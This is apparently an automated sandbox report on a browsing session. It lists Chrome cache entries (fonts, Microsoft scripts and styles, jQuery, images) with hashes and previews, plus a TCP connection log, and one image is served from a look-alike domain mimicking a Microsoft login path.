Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format, TrueType, length 41280, version 0.0
Category:	downloaded
Size (bytes):	41280
Entropy (8bit):	7.99148680813376
Encrypted:	true
SSDEEP:	768:p6DwF7RdgMRl+TIRNdEwkoGy4q0vcZ7xaRefiwsoGuTs1txGTeG:p6DwF7PRl+TkvEYuGZdEefi6GuTo/eN
MD5:	E8EA6DC81AB52C7D6124E89EBCAC926A
SHA1:	B7BF79D3D738B06DFE9E567FEEE25D9B983135BB
SHA-256:	1EE846986FBF0BFC9F0996F563D748589A32B29AF6A6E444312C5A4DA27504C1
SHA-512:	B25A7582B9FB6A146AA927BEBC91D4F34B1820017C75DCC3DAFA8ACE22547579E3AAD82788C89C2F373330F71F970500BCDEE7C520C1A791F374A4E8DD5E3396
Malicious:	false
Reputation:	low
URL:	https://i.s-microsoft.com/fonts/segoe-ui/west-european/normal/latest.woff
Preview:	wOFF.......@.......H........................OS/2...D...Z...`J..\|cmap............."<.cvt ..........."..].fpgm...........\ID.ggasp...L...........#glyf...\...O.....k.head.......6...6..T2hhea.......!...$.z.8hmtx............c!.Dloca...............Pmaxp....... ... .6.fname..............>.post........... .Q.wprep.......h...@....x.c`f.g......:....Q.B3_dHc..`e.feb.B&....e...'.(..VP`p`......@F^.ELL....Ar,.......3.9f....x.e.}L.U..?.."i.\4.5..(.....6..--.Z[[j)) ... . jR....F.VF..7....a.VTj.....[......ta..}.9;....~.~....^......I$.j.>...a...5^...'...)_..D.S.....Lqf8...g.S..r.8..3.@`H`{`_........&..~&.&.d..f..2.M.t.7.Mr{.)n?7...Nts...-.......o..0..KwM..j.Fk....<..5]E.PU.'...N.....O..1..ncb<c,O...d...'/.Ct..<.u.....&....!..~.].v....~..Gx7.V.w.k..{...I{9....h~.....'.Y.....H....T.7....@.]..pi87...u...Up.....f..AA.{.Y.."v^aU.uj..5......Q..is.M.ns.....6.y.Uz...F-u.......yUb%.4O..6.2.8.R6...h.:o.>.9...d....a...C\|...r.....w\|........H!...+..<..e.%..G).Y.B.XD9..H./P...X.v.d..

Chrome Cache Entry: 95

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (31463), with no line terminators
Category:	downloaded
Size (bytes):	31463
Entropy (8bit):	5.335245781249028
Encrypted:	false
SSDEEP:	384:ekorlyEMfQ8sW5hXDi/iE3adOdoIB4mqdRyedRyNWGyIWGyeoQys05DU7uj5hypb:0o1Di5+OOYbsp0yK3FJ12V2+vr/eoq
MD5:	7148585ECACB77E3EC38A7423D557F0A
SHA1:	3F4428AB18D492318AEC5AD51D4BD22B67BC3955
SHA-256:	9AF3C8E1B582FEBECEF2A475989DC02902A772CEFAC1896C9BAAAFD218D2CA04
SHA-512:	82E8B4FF7B55C9D7F4AE010ED2FBCA757547A88D2BB52C8C2E01AC416594B5CFD608260844FEA93501BD3C4B289A5EBA69412B2643A2C6BF01602163FF6F5B46
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSScripts/script.jsx?k=08e9f1ba-f4e7-80f5-d4c5-f75b4dc5cf51
Preview:	function ShowSelectedComponentKeyPress(n,t){if(window.event.keyCode==13)return ShowSelectedComponent(n,t),!1}function SetRightSideNavigationMenuHeight(){$("[id^=dvModuleGroup_]").hide();window.location.search.toLowerCase().indexOf("bookmarkid")!=-1&&SelectBookMark();window.location.search.toLowerCase().indexOf("componentid")!=-1&&LoadSelectedInternalLink();$(".div_side_comp").length>0&&$(".div_content").css("min-height",$(".div_side_comp").height()-27)}function ShowSelectedComponent(n,t){var i=$("#"+t).attr("data-parentModule");return i!=undefined&&i!=null&&($("[data-parentmodule="+i+"]").show(),$("#"+i+" [id$=_LongDescription]").length>0?(document.getElementById(i+"_LongDescription").style.display="block",document.getElementById(i+"_ShortDescription").style.display="none",ShowText($("#"+i+".learnMoreLabel"),"long",t)):ShowText($("#"+i+".learnMoreLabel"),"long",t),DisplayTopNavigation(i)),$("html, body").animate({scrollTop:$("#"+t).offset().top-1},800),!1}function ShowToolTip(){var n,i

Chrome Cache Entry: 96

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, Exif Standard: [TIFF image data, big-endian, direntries=4, xresolution=62, yresolution=70, resolutionunit=2, software=paint.net 4.2.9], baseline, precision 8, 50x28, components 3
Category:	downloaded
Size (bytes):	987
Entropy (8bit):	6.922003634904799
Encrypted:	false
SSDEEP:	24:PJjxEK0nWpBzo0XxDuLHeOWXG4OZ7DAJuLHenX3D+VRmK9cR+w/b:lxEX4OuERAVwR/QP/b
MD5:	E58AAFC980614A9CD7796BEA7B5EA8F0
SHA1:	D4CAC92DCDE0CAF7C571E6D791101DA94FDBD2CA
SHA-256:	8B34A475187302935336BF43A2BF2A4E0ADB9A1E87953EA51F6FCF0EF52A4A1D
SHA-512:	2DAC06596A11263DF1CFAB03EDA26D0A67B9A4C3BAA6FB6129CDBF0A157C648F5B0F5859B5CA689EFDF80F946BF4D854BA2B2C66877C5CE3897D72148741FCC9
Malicious:	false
Reputation:	low
URL:	https://phvr.org/aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg
Preview:	......JFIF.....H.H.....fExif..MM..................>...........F.(...........1.........N.......H.......H....paint.net 4.2.9....C....................................................................C.........................................................................2..!............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?......[.4..lz.....K.S..p.>.9.r9j..'.\.qrW..mo...X9ZV<./x...EX...m.Prj..A.EtG...K..mr....Lc.T.8...nlY.V.{6...R...]..(.y...)^.5V.IVO.W.B.19.R\...f.U.....'..S:..k.6..).f.n._3*....}.y.8.EusH..y.`.mA...W.}...bL..:..b.<f..(lH#R....v._...........9N~S..

Chrome Cache Entry: 97

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 216 x 46, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	4054
Entropy (8bit):	7.797012573497454
Encrypted:	false
SSDEEP:	48:zICvnyRHJ3BRZPcSPQ72N2xoiR4fTJX/rj4sFNMkk5/p1k2lPUmbm39o4aL7V9XH:10nvE724xoiRQJPrjpLKSFl9oX31Z1d
MD5:	9F14C20150A003D7CE4DE57C298F0FBA
SHA1:	DAA53CF17CC45878A1B153F3C3BF47DC9669D78F
SHA-256:	112FEC798B78AA02E102A724B5CB1990C0F909BC1D8B7B1FA256EAB41BBC0960
SHA-512:	D4F6E49C854E15FE48D6A1F1A03FDA93218AB8FCDB2C443668E7DF478830831ACC2B41DAEFC25ED38FCC8D96C4401377374FED35C36A5017A11E63C8DAE5C487
Malicious:	false
Reputation:	low
URL:	https://img-prod-cms-rt-microsoft-com.akamaized.net/cms/api/am/imageFileData/RE1Mu3b?ver=5c31
Preview:	.PNG........IHDR.............J.......tEXtSoftware.Adobe ImageReadyq.e<...(iTXtXML:com.adobe.xmp.....<?xpacket begin="." id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c132 79.159284, 2016/04/19-13:13:40 "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="xmp.did:A00BC639840A11E68CBEB97C2156C7FD" xmpMM:InstanceID="xmp.iid:A00BC638840A11E68CBEB97C2156C7FD" xmp:CreatorTool="Adobe Photoshop CC 2015.5 (Windows)"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:A2C931A470A111E6AEDFA14578553B7B" stRef:documentID="xmp.did:A2C931A570A111E6AEDFA14578553B7B"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>.......DIDATx..\..UU.>.7..3....h.L..& j2...h.@..".........`U.......R"..Dq.&.BJR 1.4`$.200...l........wg.y.[k/

Chrome Cache Entry: 98

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32047)
Category:	downloaded
Size (bytes):	95931
Entropy (8bit):	5.394232486761965
Encrypted:	false
SSDEEP:	1536:5P1vk7i6GUHdXXeyQazBu+4HhiO2AEeLNFoqqhJ7SerN5sVI6xcBgPv7E+nzms9d:A4Ud4qhJvNPqcB47MfWWca98HrB
MD5:	5790EAD7AD3BA27397AEDFA3D263B867
SHA1:	8130544C215FE5D1EC081D83461BF4A711E74882
SHA-256:	2ECD295D295BEC062CEDEBE177E54B9D6B19FC0A841DC5C178C654C9CCFF09C0
SHA-512:	781ACEDC99DE4CE8D53D9B43A158C645EAB1B23DFDFD6B57B3C442B11ACC4A344E0D5B0067D4B78BB173ABBDED75FB91C410F2B5A58F71D438AA6266D048D98A
Malicious:	false
Reputation:	low
URL:	https://ajax.aspnetcdn.com/ajax/jQuery/jquery-1.11.2.min.js
Preview:	/! jQuery v1.11.2 \| (c) 2005, 2014 jQuery Foundation, Inc. \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=c.slice,e=c.concat,f=c.push,g=c.indexOf,h={},i=h.toString,j=h.hasOwnProperty,k={},l="1.11.2",m=function(a,b){return new m.fn.init(a,b)},n=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,o=/^-ms-/,p=/-([\da-z])/gi,q=function(a,b){return b.toUpperCase()};m.fn=m.prototype={jquery:l,constructor:m,selector:"",length:0,toArray:function(){return d.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:d.call(this)},pushStack:function(a){var b=m.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a,b){return m.each(this,a,b)},map:function(a){return this.pushStack(m.map(this,function(b,c){ret

Chrome Cache Entry: 99

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1245), with no line terminators
Category:	downloaded
Size (bytes):	1245
Entropy (8bit):	5.037356170002841
Encrypted:	false
SSDEEP:	24:Ekd1Tk97hn5ZoK2kTL01MCJZ4ZVaeao1DphsILHJNM2WXgEXgf0Xgm:9da7d5d8pJZ4+BWIIPLQ73/
MD5:	108A4DAFB6208F11604033C769DD54DE
SHA1:	C636880762B6EF08C858AADF0B0423B3375C4D18
SHA-256:	B45282310AA60BE4271B36993FF203791B9FD961F1C59B6D59E02E8A2082EE38
SHA-512:	2284518E03CD266F7F4CC0FCF78EE86ABED4D7B118296A258807176697E0336E7287840406A64B067DFA0BE1F61FCC175E43906621AA51290DB174F7DAE2B906
Malicious:	false
Reputation:	low
URL:	https://c.s-microsoft.com/en-us/CMSStyles/style.csx?k=b38e7b38-f2bd-90bd-16b5-45a457a50550
Preview:	.div_heading_OnePSTemplete h2{font-size:26px;margin-top:0}.psp-expand-all{border:1px solid transparent}body{min-width:280px !important}a:not(.c-uhf-nav-link):not(.c-uhff-link):not(.c-cat-logo){word-wrap:break-word;color:#006fc9 !important;font-weight:400 !important}body .grid,.body-open .grid,.grid h3,.grid .h3,.grid .header-small,.grid strong,.grid .body-tight-2,.grid h1,.grid .h1,.grid .header-large,.grid .caption{font-family:"Segoe UI"}.grid .row h1,.grid .row h2,.grid .row h3,.header-small label{font-family:wf_segoe-ui_light,wf_segoe-ui_normal,Tahoma,Verdana,Arial,sans-serif}.grid{max-width:1600px !important}.c-uhfh-actions,.c-uhfh-gcontainer-st .all-ms-nav,.glyph-global-nav-button{display:none !important}.shell-header-wrapper,.shell-footer-wrapper,.shell-category-nav,.shell-notification .shell-notification-grid-row{max-width:1180px !important}.PsTitle{font-family:Segoe UI,sans-serif;margin-right:.3em !important;font-size:2em;display:inline-block;vertical-align:top;margin-left:-.02

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 3, 2024 23:49:53.130348921 CEST	49675	443	192.168.2.4	173.222.162.32
Jul 3, 2024 23:50:02.309334040 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.309376955 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.309595108 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.309601068 CEST	443	49736	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.309644938 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.309684038 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.309866905 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.309884071 CEST	443	49736	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.310009956 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.310019970 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.740541935 CEST	49675	443	192.168.2.4	173.222.162.32
Jul 3, 2024 23:50:02.818658113 CEST	443	49736	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.820911884 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.820946932 CEST	443	49736	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.821811914 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.821835041 CEST	443	49736	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.821892977 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.822220087 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.822228909 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.823123932 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.823195934 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.823344946 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.823402882 CEST	443	49736	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.824409008 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.824418068 CEST	443	49736	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.824620962 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.824675083 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.865745068 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.865760088 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:02.865828991 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:02.907453060 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:03.843767881 CEST	443	49736	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:03.845120907 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:03.845159054 CEST	443	49736	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:03.845226049 CEST	49736	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:03.849930048 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:03.896497011 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:03.968117952 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:03.968135118 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:03.968194962 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:03.968213081 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:03.968316078 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:03.968585014 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:03.968626022 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:03.968677044 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:03.969634056 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:03.969650030 CEST	443	49735	185.143.223.70	192.168.2.4
Jul 3, 2024 23:50:03.969660044 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:03.969696045 CEST	49735	443	192.168.2.4	185.143.223.70
Jul 3, 2024 23:50:04.134417057 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.134450912 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:04.134512901 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.135452986 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.135463953 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:04.626588106 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:04.631479025 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.631496906 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:04.632462978 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:04.632524967 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.635426044 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.635482073 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:04.636198044 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.636204004 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:04.675663948 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.758230925 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:04.758271933 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:04.758317947 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.758723021 CEST	49739	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:04.758733034 CEST	443	49739	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.159605026 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.159626007 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.159674883 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.163364887 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.163381100 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.166798115 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:05.166821957 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:05.166876078 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:05.167599916 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:05.167609930 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:05.634397030 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:05.634433031 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:05.637485981 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:05.639935017 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:05.639946938 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:05.665035963 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.665671110 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.665692091 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.666012049 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.666825056 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.666884899 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.667438030 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.712505102 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.804757118 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.804806948 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.804836988 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.804867983 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.804893017 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.804898977 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.804922104 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.804948092 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.804958105 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.804970980 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.804981947 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.805341959 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.805367947 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.805377007 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.805478096 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.805507898 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.848428011 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.848454952 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.860162973 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:05.860655069 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:05.860667944 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:05.861650944 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:05.861751080 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:05.863250971 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:05.863311052 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:05.894742012 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.895313025 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.895366907 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.895389080 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.895410061 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.895431042 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.895447016 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.895472050 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.895531893 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.895565033 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.895623922 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.895631075 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.895715952 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.896032095 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.896076918 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.896353006 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.896361113 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.896451950 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.896476984 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.896565914 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.896573067 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.896665096 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.897030115 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.897077084 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.897131920 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.897140026 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.897608042 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.897634983 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.897655964 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.897665024 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.897876978 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.898173094 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.911464930 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:05.911472082 CEST	443	49741	172.217.16.132	192.168.2.4
Jul 3, 2024 23:50:05.916436911 CEST	49740	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.916449070 CEST	443	49740	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.951180935 CEST	49741	443	192.168.2.4	172.217.16.132
Jul 3, 2024 23:50:05.975286961 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.975307941 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:05.975445032 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.975918055 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:05.975930929 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.303399086 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.303545952 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:06.306884050 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:06.306890965 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.307089090 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.341423988 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:06.384542942 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.446717024 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.446981907 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.447010994 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.447875023 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.447932005 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.448489904 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.448548079 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.448676109 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.448684931 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.504184961 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.578706026 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.578747988 CEST	443	49742	184.28.90.27	192.168.2.4
Jul 3, 2024 23:50:06.578805923 CEST	49742	443	192.168.2.4	184.28.90.27
Jul 3, 2024 23:50:06.594439030 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.594573021 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.594620943 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.594634056 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.594665051 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.594700098 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.594710112 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.594718933 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.594752073 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.594760895 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.594769001 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.594796896 CEST	443	49743	104.17.2.184	192.168.2.4
Jul 3, 2024 23:50:06.594810009 CEST	49743	443	192.168.2.4	104.17.2.184
Jul 3, 2024 23:50:06.594818115 CEST	443	49743	104.17.2.184	192.168.2.4
